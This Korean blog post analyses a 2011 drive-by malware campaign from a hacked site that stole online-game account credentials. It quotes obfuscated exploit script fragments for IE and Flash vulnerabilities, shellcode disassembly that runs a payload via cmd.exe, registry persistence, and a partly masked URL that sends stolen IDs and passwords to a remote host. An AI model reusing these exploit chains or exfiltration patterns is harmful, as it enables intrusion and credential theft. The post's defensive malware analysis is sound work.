최근에 특정 국내 웹 사이트가 해킹되어 특정 온라인 게임 사용자의 계정 정보를 탈취하는 악성코드를 유포하는 사례가 발생하여 해당 사례에 대해서 간단하게 정리해 보았다.
2. 악성코드 유포방법 및 증상
이번 사례에서는 본 목적을 가진 악성코드를 사용자의 PC에 감염시키기 위해서 IE & Adboe Flash Player의 취약점 등을 사용했고 백신이나 네트워크 장비에서 탐지를 회피하기 위해서 악성 스크립트를 여러 조각으로 구성해 놓았는데 말로 설명하는 것보다 아래 그림을 통해서 보는 것이 더 이해가 쉬울 것 같다.
3. 스크립트 분석
3.1 a.htm
a.htm은 "MS09-043 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.
a.htm의 코드를 살펴보면 아래와 같다.
<Script Language="JavaScript">
try{
var a;
var app=new ActiveXObject("O"+"\x57\x43\x31\x30\x2E\x53\x70"+"readsheet");
}
catch(a){};
finally{if(a!="[object Error]")
{
var nbGogo = "<iframe width=115 height=111 src=f4.htm></iframe>";
setTimeout("document.write(nbGogo)", 3500);
}
}
</script>
OWC10.Spreadsheet 오브젝트가 존재하면 f4.htm이 실행되며 해당 스크립트는 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있다.
<script src='scvhost.txt'></script> ; 악성코드
<script src=f1.js></script> ; var nBoomRi = Shellcode1
<script src=f2.js></script> ; var nBoomHai = Shellcode2, MS09-043 취약점 코드
<script src=f3.js></script> ; Shellcode를 합치는 변수로 구성됨
-. f2.js에 존재하는 MS09-043 취약점 코드:
var svAnti="\x4F\x57\x43"+"10.Spre";
var yinhumm=0;
var yinhugg=10;
var svAnti2=svAnti+"adsh"+"eet";
var obj=new ActiveXObject(svAnti2);
var me2=obssj.msDataSource;
위 2개의 파트로 분할되어 있는 Shellcode는 f3.js에서 합쳐진 후에 nbTry라는 변수에 저장된다.
-. f3.js에 존재하는 변수: var nbTry=nBoomx(nBoomRi+nBoomHai);
3.2 z.htm
z.htm은 scvhost.txt를 실행하기 위해서 b6.htm과 f.htm 등 2가지 경우를 사용하는데 아래 코드의 결과에 따라서 b6.htm과 f.htm 중에 하나를 선택하여 실행한다.
<script language="JavaScript">
if (navigator.userAgent.indexOf("\x4D"+"\x53\x49"+"\x45\x20"+"\x38") == -1) ; MSIE 8
{
document.write("<iframe src=b6.htm width=115 height=111><\/iframe>"); // MSIE 8이 아니면
}
document.write("<iframe src=f.htm width=115 height=1><\/iframe>"); // MSIE 8이면
</script>
navigator.userAgent를 사용하면 아래 예처럼 PC의 브라우저에 설정된 User Agent값을 얻어 올 수 있는데, 여기에 indexOf를 추가하여 얻어 온 User Agent 정보에서 MSIE 8이란 문자열이 존재하는지 체크함으로써 b6.htm을 실행할 것인지 아니면 f.htm을 실행할 것인지 결정한다.
3.3 b6.htm
b6.htm는 "MS10-018 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.
{
av2();
var a7 = document.createElement('b'+'\x6F\x64\x79');
a7.addBehavior(nbmmmm[1]+'\141\165\154\164\43\165\163\145'+nbmmmm[2]);
document.appendChild(a7);
b6.htm도 a.htm과 마찬가지로 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있다.
<script src='scvhost.txt'></script> ; 악성코드
<script src='b1.txt'></script> ; var nBrPk = Shellcode 1
<script src='b2.txt'></script> ; var nBorPk = Shellcode 2
<script src='b3.txt'></script> ; var nBoOrPk = Shellcode 3
<script src='b4.txt'></script> ; Shellcode 조합코드(nBrPk+nBorPk+nBoOrPk)
<script src='b5.txt'></script> ; Heap에 코드쓰기
3.4 f.htm -> fl.htm
감염된 PC에서 사용하는 브라우저의 버전이 IE 8이라면 fl.htm에 존재하는 아래 코드를 통해서 Flash Player의 버전을 얻어 온 후 해당 버전에 존재하는 취약성을 사용하여 scvhost.txt를 실행하는 것으로 보인다.
-. Flash Player의 버전비교
var nbVer=deconcept.SWFObjectUtil["getPlay"+"erVersion"]();
if(nbVer['ma'+'j'+'o'+'r']==10){
if(nbVer['rev']==22){
document.write("<iframe src=gg.html width=468 height=60 frameborder=0 scrolling=no></iframe>");
}else if(nbVer['rev']==32){
document.write("<iframe src=mm.html width=30 height=30 frameborder=0></iframe>");
}else if(nbVer['rev']==45){
document.write("<iframe src=mm.html width=30 height=30 frameborder=0></iframe>");
}
}
</script>
3.5 fl.htm -> gg.html
gg.html도 마찬가지로 scvhost.txt와 여러 개의 스크립트 조각들로 구성되어 있으며,
<script src='scvhost.txt'></script> ; 악성코드
<script src='da.js'></script> ; Shellcode를 실행하는데 필요한 변수들
<script src='db.js'></script> ; var nbooooooooooooooo = Shellcode 1
<script src='dc.js'></script> ; var nboooooooooooooooooooooooom = Shellcode 2
<script src='dd.js'></script> ; var nboooooooooooooooom = Shellcode 3
<embed src="nb.swf" width="550" height="400">
gg.html이 다운로드하는 nb.swf는 아래 취약점을 사용하여 다운로드한 scvhost.txt가 실행된다.
-. 취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862
3.5 fl.htm -> mm.html
mm.html은 gg.html과 동일한 구조를 가지고 있으며 다운로드하는 nbm.swf는 아래 취약점을 사용하여 다운로드한 scvhost.txt를 실행한다.
-. 취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1297
3.6 b.htm
b.htm은 "MS10-018 취약점"을 이용하여 악성코드(scvhost.txt)를 실행하는 악성 스크립트이다.
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\164\141\142\154\145\57\52\52\57\163\164\171\154\145\75\160\157\163\151\164\151\157\156\72\141\142\163\157\154\165\164\145\73\143\154\151\160\72\162\145\143\164\50\60\51\76\42\51\73");
-. 취약점 정보: http://www.microsoft.com/korea/technet/security/bulletin/ms10-090.mspx
4. Shellcode 분석
지금까지 분석한 스크립트에 존재한 Shellcode는 모두 scvhost.txt를 실행하기 위한 목적을 가지고 있다.
-. Shellcode 복호화 루틴:
0040102E $ 5B pop ebx
0040102F . 4B dec ebx
00401030 . 33C9 xor ecx, ecx
00401032 . 66:B9 1E02 mov cx, 21E
00401036 > 80340B E2 xor byte ptr [ebx+ecx], 0E2
0040103A .^ E2 FA loopd short 00401036
-. scvhost.txt 실행하기:
004010CE 6A 00 push 0
004010D0 53 push ebx ; shellcod.004010ED
004010D1 FF56 08 call dword ptr [esi+8] ; WinExec() Call
ebx=004010ED (shellcod.004010ED), ASCII "cmd.exe /C FOR /R ""%USERPROFILE%\"" %i IN (scvhost*.txt) DO %i"
5. Onlinegamehack 분석
(1) 파일생성
%SYSTEM%\hf0037.dll (Win-Trojan/Agent.33599488.B, 2011.03.02.05)
%SYSTEM%\hf0037.exe (Win-Trojan/Agent.26270.B, 2011.03.02.07)
(2) 자동실행
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
AAAA = "%SYSTEM%\hf0037.exe"
(3) 계정정보 유출
특정 온라인 게임 사용자의 계정정보를 탈취한 후 악의적인 사용자에게 전송한다.
http://www.p1ay****.com//css/*****ble/lin.asp?hanu=[아이디]&hanp=[비밀번호]
계정정보를 유출하는 위 URL은 아래 그림에서 처럼 홍콩에 위치한 것으로 보인다.
'악성코드 정보' 카테고리의 다른 글
농협 인터넷 뱅킹 피싱 사이트 주의 (2) | 2011.03.27 |
---|---|
JS/Redirect, 너의 정체를 밝혀라! (3) | 2011.03.26 |
블로그 내 링크를 통해 유포되는 악성코드 (2) | 2011.03.16 |
Android-Spyware/MinServ (0) | 2011.03.16 |
안드로이드마켓 보안 도구로 위장한 악성어플리케이션 Android-Spyware/BgService 발견 (2) | 2011.03.10 |
댓글